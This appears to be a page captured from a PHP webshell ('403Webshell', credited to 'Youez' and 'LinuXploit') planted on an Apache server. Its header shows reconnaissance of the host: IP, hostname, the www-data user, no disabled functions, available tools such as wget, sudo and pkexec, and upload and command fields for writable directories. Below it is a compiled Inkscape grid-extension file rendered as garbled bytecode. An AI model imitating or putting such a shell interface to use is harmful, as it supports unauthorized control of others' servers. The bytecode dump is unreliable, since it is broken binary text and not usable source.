403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/grid_cartesian.cpython-310.pyc
o

0�a-�@shdZddlmZddlZddlmZmZmZdd�Zdd�ZGd	d
�d
ej	�Z
edkr2e
���dSdS)a	
This extension allows you to draw a Cartesian grid in Inkscape.

There is a wide range of options including subdivision, subsubdivions and
logarithmic scales. Custom line widths are also possible.

All elements are grouped with similar elements (eg all x-subdivs)
�)�logN)�Group�PathElement�	RectanglecCs:|�t��}dt|�dd�|_d�||||�|_||_dS)zDraw an SVG line�#000000�none��strokezstroke-width�fillzM {},{} L {},{}N)�addr�str�style�format�path�label)�x1�y1�x2�y2�width�name�parent�line�r�0/usr/share/inkscape/extensions/grid_cartesian.py�	draw_line"s
rc	CsB|�tt|�t|�t|�t|�d��}dt|�|d�|_||_dS)zDraw an SVG Rectangle)�x�yr�heightrrN)rrrr
r)	rr�w�hrr
rr�rectrrr�	draw_rect*s&
r"c@seZdZdd�Zdd�ZdS)�
GridCartesiancCs�|jdtdd�|jddd�|jddd�|jd	td
d�|jdtdd�|jd
dd�|jdtdd�|jdtjdd�|jdtdd�|jdtdd�|jdtdd�|jdtdd�|jdtdd�|jddd�|jdtdd�|jdtdd�|jddd�|jdtdd�|jd tjdd�|jd!tdd�|jd"tdd�|jd#tdd�|jd$tdd�|jd%tdd�|jd&dd�dS)'Nz--border_th�)�type�defaultz--border_th_unit�cm)r&z--tab�x_tabz--x_divs�z--dxgY@z	--dx_unitz--x_subdivs�z--x_log�falsez--x_subsubdivs�z
--x_half_freq�z--x_divs_thz--x_subdivs_th�z--x_subsubdivs_thg333333�?z--x_div_unitz--y_divsz--dyz	--dy_unitz--y_subdivsz--y_logz--y_subsubdivsz
--y_half_freqz--y_divs_thz--y_subdivs_thz--y_subsubdivs_thz--y_div_unit)�add_argument�float�int�inkex�Boolean)�self�parsrrr�
add_arguments2s2zGridCartesian.add_argumentscCs�|j�t|jj�|jj�|j_|j�t|jj�|jj�|j_|j�t|jj�|jj	�|j_|j�t|jj
�|jj	�|j_
|j�t|jj�|jj	�|j_|j�t|jj�|jj
�|j_|j�t|jj�|jj�|j_|j�t|jj�|jj�|j_|j�t|jj�|jj�|j_|jj|jj}|jj|jj}t�d�|j��}|jjj\}}|j�||d||d�|�t�d��}|�t�d��}|jjdkr�|�t�d��}|jjdkr�|�t�d��}	|jjdkr�|�t�d��}
|jjdk�r|�t�d	��}t d
d
|||jjdd|�|jj}|jj}
t!d
|jj�D�]@}|d
k�rDt"|jj|d
|jj|||jjd
t|�|�|jj#�r�t!d|�D]�}|dk�r}t"|jj|t$||�d
|jj|t$||�||jj
dt|�dt|�|�t!d|
�D]`}||jj%k�s�|dd
k�r�|
dd
k�r�||jj&k�r�|
d}n|
}t"|jj|t$||t'|�|�d
|jj|t$||t'|�|�||jjdt|�dt|�dt|�|	��q��qN�q$t!d
|�D]w}|d
k�rt"|jj||t'|�d
|jj||t'|�||jj
dt|�dt|�|�t!d|
�D]?}t"|jj|||
|t'|�|
d
|jj|||
|t'|�|
||jjdt|�dt|�dt|�|	��q"�q�q$|jj}|jj}
t!d
|jj�D�]J}|d
k�r�t"d
|jj|||jj||jjdt|�|�|jj(�r@t!d|�D]�}|dk�r�t"d
|jj|dt$||�||jj|dt$||�|jjdt|�dt|�|
�t!d|
�D]d}||jj&k�s�|dd
k�r:|
dd
k�r�||jj&k�r�|
d}n|
}t"d
|jj|dt$||t'|�|�||jj|dt$||t'|�|�|jjdt|�dt|�dt|�|��qאq��qut!d
|jj�D]w}|d
k�rxt"d
|jj||t'|�||jj||t'|�|jjdt|�dt|�|
�t!d|
�D]?}t"d
|jj|||
|t'|�|
||jj|||
|t'|�|
|jjdt|�dt|�dt|�|��q}�qG�qu|S)Nz%GridCartesian:X{0.x_divs}:Y{0.y_divs}g@�MajorXGridlines�MajorYGridlinesr.�MinorXGridlines�SubMinorXGridlines�MinorYGridlines�SubMinorYGridlinesrr�Border�	MajorXDiv�	MinorXDiv�:r*�SubminorXDiv�	MajorYDiv�	MinorXYiv))�svg�unittouur�options�	border_th�border_th_unit�dx�dx_unit�	x_divs_th�
x_div_unit�x_subdivs_th�x_subsubdivs_th�dy�dy_unit�	y_divs_th�
y_div_unit�y_subdivs_th�y_subsubdivs_th�y_divs�x_divsr�newr�	namedview�center�	transform�
add_translater�	x_subdivs�x_subsubdivs�	y_subdivs�y_subsubdivsr"�ranger�x_logr�x_half_freq�y_half_freqr0�y_log)r4�ymax�xmax�grid�pos_x�pos_y�majglx�majgly�minglx�mminglx�mingly�mmingly�sd�ssd�i�j�k�ssd2rrr�generateMs�         �
�

�
$"*����
�&$$���
�

�
(&$����
�&$$���
zGridCartesian.generateN)�__name__�
__module__�__qualname__r6rvrrrrr#1sr#�__main__)
�__doc__�mathrr2rrrrr"�GenerateExtensionr#rw�runrrrr�<module>s	'�

Youez - 2016 - github.com/yon3zu
LinuXploit